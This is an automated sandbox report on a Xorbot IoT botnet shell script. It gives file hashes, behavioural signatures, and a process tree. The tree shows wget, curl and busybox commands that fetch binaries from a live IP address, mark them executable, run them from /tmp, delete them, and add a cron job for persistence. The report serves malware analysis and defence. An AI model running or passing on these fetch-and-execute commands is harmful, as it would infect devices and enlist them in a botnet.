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Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/01/2025, 16:30

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    425b72445548772800314e4626751427

  • SHA1

    a784b4eed1e5f709e264ee26485eb3d97f5bba1e

  • SHA256

    b0cbfbdaa29a12ec2f0e20f5895b9f2abe38b50f1fabc26a6c2fc4893c63e632

  • SHA512

    d083cb8181ba1296383fda54d64d552ac1d15bd6f4a12aa1e5ebe85aad50791853ae86e07c618e0586356671429ab717b145321b66214873aaed7ea439ea064d

  • SSDEEP

    96:Lhr+G+59nX1ls6Wf6NxZ9vEERz33aCEHYQYLXD4CCk5NxtZxZ9vEEYC01ls6Wf6R:Lhr+G+59n3xZ9vEEBVZ9vEE/+G+591

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1866) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:650
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:657
        • /usr/bin/wget
          wget http://66.63.187.225/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • Writes file to tmp directory
          PID:659
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:674
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • Writes file to tmp directory
          PID:681
        • /bin/chmod
          chmod 777 s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • File and Directory Permissions Modification
          PID:683
        • /tmp/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          ./s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • Executes dropped EXE
          PID:684
        • /bin/rm
          rm s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
            PID:686
          • /usr/bin/wget
            wget http://66.63.187.225/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • Writes file to tmp directory
            PID:687
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:688
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • Writes file to tmp directory
            PID:694
          • /bin/chmod
            chmod 777 oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • File and Directory Permissions Modification
            PID:697
          • /tmp/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            ./oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:699
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:701
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:702
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:703
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:705
                • /bin/rm
                  rm oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
                  2⤵
                    PID:708
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
                    2⤵
                      PID:712
                    • /usr/bin/curl
                      curl -O http://66.63.187.225/bins/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
                      2⤵
                        PID:714
                      • /bin/busybox
                        /bin/busybox wget http://66.63.187.225/bins/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
                        2⤵
                        • Writes file to tmp directory
                        PID:715
                      • /bin/chmod
                        chmod 777 cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
                        2⤵
                        • File and Directory Permissions Modification
                        PID:722
                      • /tmp/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
                        ./cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
                        2⤵
                        • Executes dropped EXE
                        PID:723
                      • /bin/rm
                        rm cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
                        2⤵
                          PID:724
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                          2⤵
                            PID:726
                          • /usr/bin/curl
                            curl -O http://66.63.187.225/bins/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                            2⤵
                              PID:727
                            • /bin/busybox
                              /bin/busybox wget http://66.63.187.225/bins/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                              2⤵
                              • Writes file to tmp directory
                              PID:729
                            • /bin/chmod
                              chmod 777 APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                              2⤵
                              • File and Directory Permissions Modification
                              PID:821
                            • /tmp/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                              ./APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                              2⤵
                              • Executes dropped EXE
                              PID:822
                            • /bin/rm
                              rm APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                              2⤵
                                PID:823
                              • /usr/bin/wget
                                wget http://66.63.187.225/bins/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                                2⤵
                                  PID:826
                                • /usr/bin/curl
                                  curl -O http://66.63.187.225/bins/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                                  2⤵
                                    PID:828
                                  • /bin/busybox
                                    /bin/busybox wget http://66.63.187.225/bins/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:831
                                  • /bin/chmod
                                    chmod 777 wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:842
                                  • /tmp/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                                    ./wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                                    2⤵
                                    • Executes dropped EXE
                                    PID:844
                                  • /bin/rm
                                    rm wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                                    2⤵
                                      PID:847
                                    • /usr/bin/wget
                                      wget http://66.63.187.225/bins/XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                                      2⤵
                                        PID:848
                                      • /usr/bin/curl
                                        curl -O http://66.63.187.225/bins/XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                                        2⤵
                                          PID:849
                                        • /bin/busybox
                                          /bin/busybox wget http://66.63.187.225/bins/XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:851
                                        • /bin/chmod
                                          chmod 777 XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:856
                                        • /tmp/XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                                          ./XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                                          2⤵
                                          • Executes dropped EXE
                                          PID:857
                                        • /bin/rm
                                          rm XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                                          2⤵
                                            PID:859
                                          • /usr/bin/wget
                                            wget http://66.63.187.225/bins/DdDKa6awhT5mfgY9URVFJj6PwNWdnWZOTO
                                            2⤵
                                              PID:860
                                            • /usr/bin/curl
                                              curl -O http://66.63.187.225/bins/DdDKa6awhT5mfgY9URVFJj6PwNWdnWZOTO
                                              2⤵
                                                PID:862

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • /tmp/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo

                                              Filesize

                                              151KB

                                              MD5

                                              3c90d5820bddcf7c5d1bd21dfa49d958

                                              SHA1

                                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                              SHA256

                                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                              SHA512

                                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                            • /tmp/XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9

                                              Filesize

                                              107KB

                                              MD5

                                              eb9c3a0de91fcf16ba17cb24608df68c

                                              SHA1

                                              09d95a7d70d5e115d103be51edff7c498d272fac

                                              SHA256

                                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                              SHA512

                                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                            • /tmp/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ

                                              Filesize

                                              127KB

                                              MD5

                                              89077b7bd4bcafca7713be43635c4862

                                              SHA1

                                              fc02edb8fba29ea8ee99e6157ef8560334530052

                                              SHA256

                                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                              SHA512

                                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                            • /tmp/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH

                                              Filesize

                                              177KB

                                              MD5

                                              786d75a158fe731feca3880f436082c0

                                              SHA1

                                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                              SHA256

                                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                              SHA512

                                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                            • /tmp/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT

                                              Filesize

                                              111KB

                                              MD5

                                              701e7a55a4f3650f5feee92a9860e5fc

                                              SHA1

                                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                              SHA256

                                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                              SHA512

                                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                            • /tmp/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b

                                              Filesize

                                              98KB

                                              MD5

                                              5141342d0df8699fa32a6b066a0c592e

                                              SHA1

                                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                                              SHA256

                                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                              SHA512

                                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                            • /var/spool/cron/crontabs/tmp.wsO7kW

                                              Filesize

                                              210B

                                              MD5

                                              447989a64b6d39ade750a76d38338269

                                              SHA1

                                              d0d0696c378068aac1904ad6b6f1a0820f5ab991

                                              SHA256

                                              d2a164324de710ebf340739bf1d07bcadbd70c4029e25471f03506149b9ca79e

                                              SHA512

                                              f252d6a0c8022183ed14df440b4a4e9a4f129994679bbd5472805407594cff729b328182645763c76df2551d4ad0564b1e26d98c5a40228f11edeca05687672a